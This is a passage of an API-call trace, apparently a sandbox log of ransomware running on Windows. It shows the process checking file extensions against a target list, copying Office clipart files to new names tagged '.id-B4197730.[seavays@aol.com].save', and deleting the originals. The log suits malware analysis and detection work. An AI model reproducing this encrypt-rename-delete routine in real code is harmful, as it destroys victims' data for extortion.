(lpString=".7z") returned 3 [0159.558] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0159.558] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.558] lstrlenW (lpString=".dbf") returned 4 [0159.558] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0159.558] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.558] lstrlenW (lpString=".1cd") returned 4 [0159.558] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0159.558] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.558] lstrlenW (lpString=".jpg") returned 4 [0159.558] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0159.558] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.558] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.558] lstrlenW (lpString=".doc") returned 4 [0159.558] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0159.559] lstrlenW (lpString=".docx") returned 5 [0159.559] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0159.559] lstrlenW (lpString=".pdf") returned 4 [0159.559] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0159.559] lstrlenW (lpString=".xls") returned 4 [0159.559] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0159.559] lstrlenW (lpString=".xlsx") returned 5 [0159.559] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0159.559] lstrlenW (lpString=".ppt") returned 4 [0159.559] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0159.559] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.559] lstrlenW (lpString=".zip") returned 4 [0159.559] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0159.559] lstrlenW (lpString=".rar") returned 4 [0159.559] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0159.559] lstrlenW (lpString=".bz2") returned 4 [0159.559] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0159.559] lstrlenW (lpString=".7z") returned 3 [0159.559] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0159.559] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.559] lstrlenW (lpString=".dbf") returned 4 [0159.559] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0159.559] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.559] lstrlenW (lpString=".1cd") returned 4 [0159.559] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0159.559] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0159.559] lstrlenW (lpString=".jpg") returned 4 [0159.559] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0159.560] Sleep (dwMilliseconds=0x64) [0159.896] Sleep (dwMilliseconds=0x64) [0160.425] Sleep (dwMilliseconds=0x64) [0160.905] Sleep (dwMilliseconds=0x64) [0161.473] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0161.473] lstrlenW (lpString="J0099169.WMF") returned 12 [0161.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0161.773] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=0) returned 1 [0161.773] CloseHandle (hObject=0x3a4) returned 1 [0161.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.773] lstrlenW (lpString=".doc") returned 4 [0161.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.773] lstrlenW (lpString=".docx") returned 5 [0161.773] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0161.774] lstrlenW (lpString=".pdf") returned 4 [0161.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.774] lstrlenW (lpString=".xls") returned 4 [0161.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.774] lstrlenW (lpString=".xlsx") returned 5 [0161.774] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0161.774] lstrlenW (lpString=".ppt") returned 4 [0161.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.774] lstrlenW (lpString=".zip") returned 4 [0161.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.774] lstrlenW (lpString=".rar") returned 4 [0161.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.774] lstrlenW (lpString=".bz2") returned 4 [0161.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.774] lstrlenW (lpString=".7z") returned 3 [0161.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.774] lstrlenW (lpString=".dbf") returned 4 [0161.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.774] lstrlenW (lpString=".1cd") returned 4 [0161.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.774] lstrlenW (lpString=".jpg") returned 4 [0161.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.775] lstrlenW (lpString=".doc") returned 4 [0161.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.775] lstrlenW (lpString=".docx") returned 5 [0161.775] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0161.775] lstrlenW (lpString=".pdf") returned 4 [0161.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.775] lstrlenW (lpString=".xls") returned 4 [0161.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.775] lstrlenW (lpString=".xlsx") returned 5 [0161.775] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0161.775] lstrlenW (lpString=".ppt") returned 4 [0161.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.775] lstrlenW (lpString=".zip") returned 4 [0161.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.775] lstrlenW (lpString=".rar") returned 4 [0161.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.775] lstrlenW (lpString=".bz2") returned 4 [0161.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.775] lstrlenW (lpString=".7z") returned 3 [0161.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.775] lstrlenW (lpString=".dbf") returned 4 [0161.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.776] lstrlenW (lpString=".1cd") returned 4 [0161.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0161.776] lstrlenW (lpString=".jpg") returned 4 [0161.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.776] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0161.776] lstrlenW (lpString="J0099180.WMF") returned 12 [0161.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0161.954] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=3394) returned 1 [0161.954] CloseHandle (hObject=0x3d0) returned 1 [0161.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0162.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0162.205] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.206] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0162.207] GetLastError () returned 0x0 [0162.207] ReadFile (in: hFile=0x37c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xd42, lpOverlapped=0x0) returned 1 [0162.223] WriteFile (in: hFile=0x3cc, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xd50, lpOverlapped=0x0) returned 1 [0162.225] ReadFile (in: hFile=0x37c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0162.225] WriteFile (in: hFile=0x3cc, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0162.225] SetEndOfFile (hFile=0x3cc) returned 1 [0162.226] CloseHandle (hObject=0x3cc) returned 1 [0162.226] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.226] SetEndOfFile (hFile=0x37c) returned 1 [0162.229] CloseHandle (hObject=0x37c) returned 1 [0162.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0162.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0162.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.230] lstrlenW (lpString=".doc") returned 4 [0162.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.230] lstrlenW (lpString=".docx") returned 5 [0162.230] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0162.230] lstrlenW (lpString=".pdf") returned 4 [0162.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.230] lstrlenW (lpString=".xls") returned 4 [0162.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.231] lstrlenW (lpString=".xlsx") returned 5 [0162.231] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0162.231] lstrlenW (lpString=".ppt") returned 4 [0162.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.231] lstrlenW (lpString=".zip") returned 4 [0162.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.231] lstrlenW (lpString=".rar") returned 4 [0162.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.231] lstrlenW (lpString=".bz2") returned 4 [0162.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.231] lstrlenW (lpString=".7z") returned 3 [0162.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.231] lstrlenW (lpString=".dbf") returned 4 [0162.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.231] lstrlenW (lpString=".1cd") returned 4 [0162.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.231] lstrlenW (lpString=".jpg") returned 4 [0162.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.231] lstrlenW (lpString=".doc") returned 4 [0162.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.231] lstrlenW (lpString=".docx") returned 5 [0162.232] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0162.232] lstrlenW (lpString=".pdf") returned 4 [0162.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.232] lstrlenW (lpString=".xls") returned 4 [0162.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.232] lstrlenW (lpString=".xlsx") returned 5 [0162.232] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0162.232] lstrlenW (lpString=".ppt") returned 4 [0162.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.232] lstrlenW (lpString=".zip") returned 4 [0162.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.232] lstrlenW (lpString=".rar") returned 4 [0162.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.232] lstrlenW (lpString=".bz2") returned 4 [0162.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.232] lstrlenW (lpString=".7z") returned 3 [0162.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.232] lstrlenW (lpString=".dbf") returned 4 [0162.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.232] lstrlenW (lpString=".1cd") returned 4 [0162.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0162.232] lstrlenW (lpString=".jpg") returned 4 [0162.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.233] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0162.233] lstrlenW (lpString="J0099184.WMF") returned 12 [0162.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.685] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=4118) returned 1 [0162.685] CloseHandle (hObject=0x3e0) returned 1 [0162.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0162.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.686] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.686] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0162.687] GetLastError () returned 0x0 [0162.687] ReadFile (in: hFile=0x3e0, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x1016, lpOverlapped=0x0) returned 1 [0162.690] WriteFile (in: hFile=0x3f4, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x1020, lpOverlapped=0x0) returned 1 [0162.691] ReadFile (in: hFile=0x3e0, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0162.692] WriteFile (in: hFile=0x3f4, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0162.692] SetEndOfFile (hFile=0x3f4) returned 1 [0162.692] CloseHandle (hObject=0x3f4) returned 1 [0162.692] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0162.692] SetEndOfFile (hFile=0x3e0) returned 1 [0162.695] CloseHandle (hObject=0x3e0) returned 1 [0162.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0162.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 1 [0162.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.697] lstrlenW (lpString=".doc") returned 4 [0162.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.697] lstrlenW (lpString=".docx") returned 5 [0162.697] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0162.697] lstrlenW (lpString=".pdf") returned 4 [0162.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.697] lstrlenW (lpString=".xls") returned 4 [0162.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.697] lstrlenW (lpString=".xlsx") returned 5 [0162.697] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0162.697] lstrlenW (lpString=".ppt") returned 4 [0162.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.697] lstrlenW (lpString=".zip") returned 4 [0162.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.697] lstrlenW (lpString=".rar") returned 4 [0162.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.698] lstrlenW (lpString=".bz2") returned 4 [0162.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.698] lstrlenW (lpString=".7z") returned 3 [0162.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.698] lstrlenW (lpString=".dbf") returned 4 [0162.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.698] lstrlenW (lpString=".1cd") returned 4 [0162.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.698] lstrlenW (lpString=".jpg") returned 4 [0162.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.698] lstrlenW (lpString=".doc") returned 4 [0162.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.698] lstrlenW (lpString=".docx") returned 5 [0162.698] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0162.698] lstrlenW (lpString=".pdf") returned 4 [0162.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.698] lstrlenW (lpString=".xls") returned 4 [0162.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.699] lstrlenW (lpString=".xlsx") returned 5 [0162.699] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0162.699] lstrlenW (lpString=".ppt") returned 4 [0162.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.699] lstrlenW (lpString=".zip") returned 4 [0162.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.699] lstrlenW (lpString=".rar") returned 4 [0162.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.713] lstrlenW (lpString=".bz2") returned 4 [0162.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.722] lstrlenW (lpString=".7z") returned 3 [0162.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.723] lstrlenW (lpString=".dbf") returned 4 [0162.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.723] lstrlenW (lpString=".1cd") returned 4 [0162.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF") returned 68 [0162.723] lstrlenW (lpString=".jpg") returned 4 [0162.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.723] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0162.723] lstrlenW (lpString="J0099192.GIF") returned 12 [0162.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0162.725] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=17964) returned 1 [0162.725] CloseHandle (hObject=0x3e0) returned 1 [0162.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0162.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0162.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program 